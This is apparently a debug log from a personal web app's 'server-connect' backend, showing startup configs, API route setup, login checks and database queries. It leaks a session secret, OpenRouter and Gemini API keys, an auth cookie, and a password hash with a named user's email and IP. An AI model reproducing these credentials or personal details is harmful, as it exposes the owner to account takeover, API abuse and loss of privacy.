    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-24T20:42:22.571Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-24T20:42:23.435Z server-connect:setup:upload Upload middleware configured.
2026-06-24T20:42:23.435Z server-connect:secure CSRF Protection initialized
2026-06-24T20:42:23.440Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-24T20:42:23.443Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-24T20:42:23.444Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-24T20:42:23.446Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-24T20:42:23.454Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-24T20:42:23.455Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-24T20:42:23.470Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-24T20:42:23.483Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-24T20:42:23.487Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-24T20:42:23.489Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-24T20:42:23.491Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-24T20:42:23.495Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-24T20:42:23.501Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-24T20:42:23.510Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-24T20:42:23.514Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-24T20:42:23.586Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-24T20:42:23.586Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-24T20:42:23.591Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-24T20:42:23.596Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-24T20:42:23.600Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-24T20:42:23.602Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-24T20:42:23.611Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-24T20:42:23.611Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-24T20:42:23.618Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-24T20:42:23.621Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-24T20:42:23.624Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-24T20:42:23.627Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-24T20:42:23.627Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-24T20:42:23.634Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-24T20:42:23.634Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-24T20:42:23.638Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-24T20:42:23.638Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-24T20:42:23.642Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-24T20:42:23.646Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-24T20:42:23.651Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-24T20:42:23.656Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-24T20:42:23.659Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-24T20:42:23.669Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-24T20:42:24.157Z server-connect:router Serving templateView /
2026-06-24T20:42:24.160Z server-connect:app Executing action step identify
2026-06-24T20:42:24.160Z server-connect:app options: { provider: 'security' }
2026-06-24T20:42:24.162Z server-connect:auth No login cookie found
2026-06-24T20:42:24.162Z server-connect:output identity: false
2026-06-24T20:42:24.162Z server-connect:app Executing action step restrict
2026-06-24T20:42:24.162Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-24T20:42:24.166Z server-connect:output restrict: undefined
2026-06-24T22:35:29.935Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-24T22:35:32.270Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-24T22:35:33.137Z server-connect:setup:upload Upload middleware configured.
2026-06-24T22:35:33.137Z server-connect:secure CSRF Protection initialized
2026-06-24T22:35:33.141Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-24T22:35:33.145Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-24T22:35:33.146Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-24T22:35:33.149Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-24T22:35:33.153Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-24T22:35:33.158Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-24T22:35:33.171Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-24T22:35:33.184Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-24T22:35:33.188Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-24T22:35:33.190Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-24T22:35:33.192Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-24T22:35:33.196Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-24T22:35:33.202Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-24T22:35:33.211Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-24T22:35:33.216Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-24T22:35:33.288Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-24T22:35:33.289Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-24T22:35:33.294Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-24T22:35:33.299Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-24T22:35:33.303Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-24T22:35:33.305Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-24T22:35:33.315Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-24T22:35:33.317Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-24T22:35:33.323Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-24T22:35:33.325Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-24T22:35:33.329Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-24T22:35:33.331Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-24T22:35:33.333Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-24T22:35:33.339Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-24T22:35:33.341Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-24T22:35:33.343Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-24T22:35:33.345Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-24T22:35:33.348Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-24T22:35:33.350Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-24T22:35:33.356Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-24T22:35:33.360Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-24T22:35:33.362Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-24T22:35:33.372Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-24T22:35:33.861Z server-connect:router Serving templateView /
2026-06-24T22:35:33.908Z server-connect:app Executing action step identify
2026-06-24T22:35:33.908Z server-connect:app options: { provider: 'security' }
2026-06-24T22:35:33.920Z server-connect:auth No login cookie found
2026-06-24T22:35:33.920Z server-connect:output identity: false
2026-06-24T22:35:33.920Z server-connect:app Executing action step restrict
2026-06-24T22:35:33.920Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-24T22:35:33.924Z server-connect:output restrict: undefined
2026-06-25T03:51:08.447Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-25T03:51:10.718Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-25T03:51:11.580Z server-connect:setup:upload Upload middleware configured.
2026-06-25T03:51:11.581Z server-connect:secure CSRF Protection initialized
2026-06-25T03:51:11.586Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-25T03:51:11.589Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-25T03:51:11.590Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-25T03:51:11.592Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-25T03:51:11.598Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-25T03:51:11.606Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-25T03:51:11.619Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-25T03:51:11.631Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-25T03:51:11.635Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-25T03:51:11.637Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-25T03:51:11.639Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-25T03:51:11.644Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-25T03:51:11.649Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-25T03:51:11.658Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-25T03:51:11.663Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-25T03:51:11.735Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-25T03:51:11.736Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-25T03:51:11.741Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-25T03:51:11.746Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-25T03:51:11.750Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-25T03:51:11.752Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-25T03:51:11.760Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-25T03:51:11.762Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-25T03:51:11.768Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-25T03:51:11.770Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-25T03:51:11.774Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-25T03:51:11.776Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-25T03:51:11.777Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-25T03:51:11.784Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-25T03:51:11.784Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-25T03:51:11.787Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-25T03:51:11.789Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-25T03:51:11.793Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-25T03:51:11.795Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-25T03:51:11.801Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-25T03:51:11.805Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-25T03:51:11.807Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-25T03:51:11.816Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-25T03:51:12.305Z server-connect:router Serving templateView /
2026-06-25T03:51:12.307Z server-connect:app Executing action step identify
2026-06-25T03:51:12.308Z server-connect:app options: { provider: 'security' }
2026-06-25T03:51:12.310Z server-connect:auth No login cookie found
2026-06-25T03:51:12.310Z server-connect:output identity: false
2026-06-25T03:51:12.310Z server-connect:app Executing action step restrict
2026-06-25T03:51:12.310Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-25T03:51:12.313Z server-connect:output restrict: undefined
2026-06-25T10:03:51.824Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-25T10:03:54.093Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-25T10:03:54.957Z server-connect:setup:upload Upload middleware configured.
2026-06-25T10:03:54.957Z server-connect:secure CSRF Protection initialized
2026-06-25T10:03:54.962Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-25T10:03:54.964Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-25T10:03:54.965Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-25T10:03:54.968Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-25T10:03:54.973Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-25T10:03:54.981Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-25T10:03:54.992Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-25T10:03:55.004Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-25T10:03:55.009Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-25T10:03:55.010Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-25T10:03:55.013Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-25T10:03:55.016Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-25T10:03:55.022Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-25T10:03:55.032Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-25T10:03:55.035Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-25T10:03:55.108Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-25T10:03:55.110Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-25T10:03:55.114Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-25T10:03:55.120Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-25T10:03:55.124Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-25T10:03:55.127Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-25T10:03:55.134Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-25T10:03:55.134Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-25T10:03:55.141Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-25T10:03:55.143Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-25T10:03:55.147Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-25T10:03:55.149Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-25T10:03:55.151Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-25T10:03:55.159Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-25T10:03:55.161Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-25T10:03:55.163Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-25T10:03:55.165Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-25T10:03:55.169Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-25T10:03:55.171Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-25T10:03:55.177Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-25T10:03:55.180Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-25T10:03:55.183Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-25T10:03:55.192Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-25T10:03:55.682Z server-connect:router Serving templateView /
2026-06-25T10:03:55.684Z server-connect:app Executing action step identify
2026-06-25T10:03:55.684Z server-connect:app options: { provider: 'security' }
2026-06-25T10:03:55.736Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-06-25T10:03:55.792Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-06-25T10:03:55.853Z server-connect:output identity: 1
2026-06-25T10:03:55.853Z server-connect:app Executing action step restrict
2026-06-25T10:03:55.854Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-25T10:03:55.856Z server-connect:output restrict: undefined
2026-06-25T10:03:55.856Z server-connect:app Executing action step restrict
2026-06-25T10:03:55.856Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-25T10:03:55.857Z server-connect:output restrict: undefined
2026-06-25T10:03:55.857Z server-connect:router Render template layouts/main
2026-06-25T10:03:55.858Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-26T10:03:55.679Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-25T10:04:25.440Z server-connect:router Serving serverConnect /api/masters/get-items
2026-06-25T10:04:25.442Z server-connect:app Executing action step identify
2026-06-25T10:04:25.442Z server-connect:app options: { provider: 'security' }
2026-06-25T10:04:25.442Z server-connect:output identity: 1
2026-06-25T10:04:25.442Z server-connect:app Executing action step restrict
2026-06-25T10:04:25.442Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-25T10:04:25.443Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-06-25T10:04:25.444Z server-connect:output restrict: undefined
2026-06-25T10:04:25.445Z server-connect:app Executing action step select
2026-06-25T10:04:25.445Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-06-25T10:04:25.448Z server-connect:app Executing action step identify
2026-06-25T10:04:25.448Z server-connect:app options: { provider: 'security' }
2026-06-25T10:04:25.448Z server-connect:output identity: 1
2026-06-25T10:04:25.448Z server-connect:app Executing action step restrict
2026-06-25T10:04:25.448Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-25T10:04:25.448Z server-connect:output restrict: undefined
2026-06-25T10:04:25.448Z server-connect:app Executing action step single
2026-06-25T10:04:25.448Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-06-25T10:04:25.450Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-06-25T10:04:25.455Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
